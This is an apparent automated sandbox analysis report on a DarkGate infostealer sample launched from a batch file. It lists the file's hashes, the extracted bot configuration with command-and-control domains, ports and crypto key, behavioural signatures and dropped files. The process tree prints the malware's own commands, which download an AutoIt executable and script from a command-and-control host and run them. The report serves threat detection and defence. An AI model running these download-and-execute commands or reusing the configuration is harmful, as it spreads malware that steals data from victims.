Resubmissions

04/10/2023, 14:56

231004-sa76escf4v 10

04/10/2023, 13:37

231004-qwx68sca6v 10

03/10/2023, 15:09

231003-sjsr4ace4x 10

Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/10/2023, 14:56

General

  • Target

    test.cmd

  • Size

    246B

  • MD5

    2d797e5e30c2bd74dca3ff4313117abc

  • SHA1

    a3d5b080a3b4d5f7c0eae7ce99b97f7602c3fc0b

  • SHA256

    20fe5b613a2057a021fa54982a4853e63f18fccd1b4270afe99ed3d7a442d6e7

  • SHA512

    aeed84d85d51b1b9a6acff0c80006f706b78a8d395d242216cc7a74c03a333d4d27c42518a4757688aada386dfac1896d5473e4fa010d47963ca4b0a33eb27d5

Malware Config

Extracted

Family

darkgate

Botnet

usr_871663321

C2

http://onlinesalesjerek.com

http://onnlinebadroomstore.com

http://rty777casinojoker.com

http://herbolikcsoonstreedj.com

Attributes
  • alternative_c2_port

    443

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    true

  • crypter_au3

    true

  • crypter_dll

    false

  • crypter_rawstub

    false

  • crypto_key

    vDTMGxhyWeiCzX

  • internal_mutex

    txtMut

  • minimum_disk

    40

  • minimum_ram

    4096

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    usr_871663321

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4916
    • C:\Users\Admin\AppData\Local\Temp\glsm.exe
      glsm -H "User-Agent: curl" -o Autoit3.exe http://onlinesalesjerek.com:2351
      2⤵
      • Executes dropped EXE
      PID:1968
    • C:\Users\Admin\AppData\Local\Temp\glsm.exe
      glsm -o zvujpg.au3 http://onlinesalesjerek.com:2351/msiglsmujml
      2⤵
      • Executes dropped EXE
      PID:3012
    • C:\Users\Admin\AppData\Local\Temp\Autoit3.exe
      Autoit3.exe zvujpg.au3
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      PID:2112
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:1288
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1316

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Autoit3.exe

      Filesize

      872KB

      MD5

      c56b5f0201a3b3de53e561fe76912bfd

      SHA1

      2a4062e10a5de813f5688221dbeb3f3ff33eb417

      SHA256

      237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

      SHA512

      195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

    • C:\Users\Admin\AppData\Local\Temp\glsm.exe

      Filesize

      411KB

      MD5

      1c3645ebddbe2da6a32a5f9fb43a3c23

      SHA1

      086f74a35d5afed78ae50cf5586fafffb7845464

      SHA256

      0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

      SHA512

      ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

    • C:\Users\Admin\AppData\Local\Temp\glsm.exe

      Filesize

      411KB

      MD5

      1c3645ebddbe2da6a32a5f9fb43a3c23

      SHA1

      086f74a35d5afed78ae50cf5586fafffb7845464

      SHA256

      0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

      SHA512

      ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

    • C:\Users\Admin\AppData\Local\Temp\glsm.exe

      Filesize

      411KB

      MD5

      1c3645ebddbe2da6a32a5f9fb43a3c23

      SHA1

      086f74a35d5afed78ae50cf5586fafffb7845464

      SHA256

      0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

      SHA512

      ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

    • C:\Users\Admin\AppData\Local\Temp\zvujpg.au3

      Filesize

      906KB

      MD5

      ca0ba323ae5bab16f31041ae02f5a595

      SHA1

      2dcc226ebadd8614352f73c369825110b904b6e2

      SHA256

      02810fdb8cb7c20bdcd7a9b9f3172f177e75819756c6f54f9932f132ef541b7e

      SHA512

      fce3a13399097b420719c6942398f8265d5cea740f2f1cfcc637d1f9471143f3192e55893e72d8ae53e941c18fe60dd3db685177a9df7134f0073ffbd0878d29

    • memory/1316-49-0x000001A21B7D0000-0x000001A21B7D1000-memory.dmp

      Filesize

      4KB

    • memory/1316-17-0x000001A213360000-0x000001A213370000-memory.dmp

      Filesize

      64KB

    • memory/1316-33-0x000001A213460000-0x000001A213470000-memory.dmp

      Filesize

      64KB

    • memory/1316-51-0x000001A21B800000-0x000001A21B801000-memory.dmp

      Filesize

      4KB

    • memory/1316-52-0x000001A21B800000-0x000001A21B801000-memory.dmp

      Filesize

      4KB

    • memory/1316-53-0x000001A21B910000-0x000001A21B911000-memory.dmp

      Filesize

      4KB

    • memory/2112-13-0x0000000004050000-0x0000000004145000-memory.dmp

      Filesize

      980KB

    • memory/2112-14-0x0000000004920000-0x0000000004CE3000-memory.dmp

      Filesize

      3.8MB

    • memory/2112-15-0x0000000004050000-0x0000000004145000-memory.dmp

      Filesize

      980KB

    • memory/2112-16-0x0000000004920000-0x0000000004CE3000-memory.dmp

      Filesize

      3.8MB

    • memory/2112-12-0x0000000001320000-0x0000000001720000-memory.dmp

      Filesize

      4.0MB